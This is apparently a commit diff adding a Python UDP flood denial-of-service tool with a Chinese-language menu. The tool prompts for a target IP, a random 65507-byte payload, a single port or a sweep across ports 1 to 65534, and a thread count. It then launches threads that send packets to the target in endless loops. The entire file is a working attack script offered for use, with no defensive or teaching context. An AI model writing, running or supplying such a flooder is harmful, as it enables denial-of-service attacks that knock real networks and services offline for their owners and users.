1
+ import sys
2
+ import os
3
+ import time
4
+ import socket
5
+ import threading
6
+ from time import sleep
7
+ from random import randbytes , _urandom
8
+ from datetime import datetime
9
+
10
+ now = datetime .now ()
11
+ hour = now .hour
12
+ minute = now .minute
13
+ day = now .day
14
+ month = now .month
15
+ year = now .year
16
+ sock = socket .socket (socket .AF_INET , socket .SOCK_DGRAM )
17
+
18
+ os .system ("clear" )
19
+ ip = input ("""
20
+ Python3 dos工具
21
+
22
+ 提示:需要强劲的电脑,起步条件CPU 8核以上,内存条8GB以上,才能达到预期效果!!!
23
+
24
+ 作者 : WindowsKin
25
+ 版本 : V1.0
26
+
27
+ 请输入 IP : """ )
28
+ mode_p = input ("""
29
+ 1.字节数据
30
+ 2.数据包
31
+ 请输入攻击类型 : """ )
32
+ if mode_p == "1" :
33
+ bytes = randbytes (65507 )
34
+ elif mode_p == "2" :
35
+ bytes = _urandom (65507 )
36
+ else :
37
+ print ('检测到你输入了无效内容,已以为你选择默认值"2"' )
38
+ sleep (2 )
39
+ bytes = _urandom (65507 )
40
+ mode = input ("""
41
+ 1.从指定端口进行攻击
42
+ 2.从端口 1 ~ 65534 依次进行循坏攻击
43
+ 请输入攻击方式 : """ )
44
+ if mode == "1" :
45
+ port = int (input ("请输入 端口 : " ))
46
+ elif mode != "2" :
47
+ print ('检测到你输入了无效内容,已以为你选择默认值"2"' )
48
+ sleep (2 )
49
+ mode = "2"
50
+ try :
51
+ sc = int (input ("请输入 线程数量(不能为0) : " ))
52
+ if sc == 0 :
53
+ print ('检测到你输入了无效内容,已以为你选择默认值"1"' )
54
+ sleep (2 )
55
+ sc = 1
56
+ except ValueError :
57
+ print ('检测到你输入了无效内容,已以为你选择默认值"1"' )
58
+ sleep (2 )
59
+ sc = 1
60
+ os .system ("clear" )
61
+
62
+ if mode == "1" :
63
+ print (f"已选攻击方式 { mode } 进行攻击\n 攻击程序正在攻击 { ip } { port } 端口" )
64
+ elif mode == "2" :
65
+ print (f"已选攻击方式 { mode } 进行攻击\n 攻击程序正在攻击 { ip } " )
66
+
67
+ def dos_1 (bytes , ip , port ):
68
+ while True :
69
+ try :
70
+ sock .sendto (bytes , (ip , port ))
71
+ except OSError :
72
+ pass
73
+
74
+ def dos_2 (bytes , ip ):
75
+ port = 4444
76
+ while True :
77
+ try :
78
+ sock .sendto (bytes , (ip , port ))
79
+ if port == 65534 :
80
+ port = 1
81
+ else :
82
+ port += 1
83
+ except OSError :
84
+ pass
85
+
86
+ if mode == "1" :
87
+ for i in range (sc ):
88
+ dos_1_sc = threading .Thread (target = dos_1 , args = (bytes , ip , port ))
89
+ dos_1_sc .start ()
90
+ elif mode == "2" :
91
+ for i in range (sc ):
92
+ dos_2_sc = threading .Thread (target = dos_2 , args = (bytes , ip ))
93
+ dos_2_sc .start ()
0 commit comments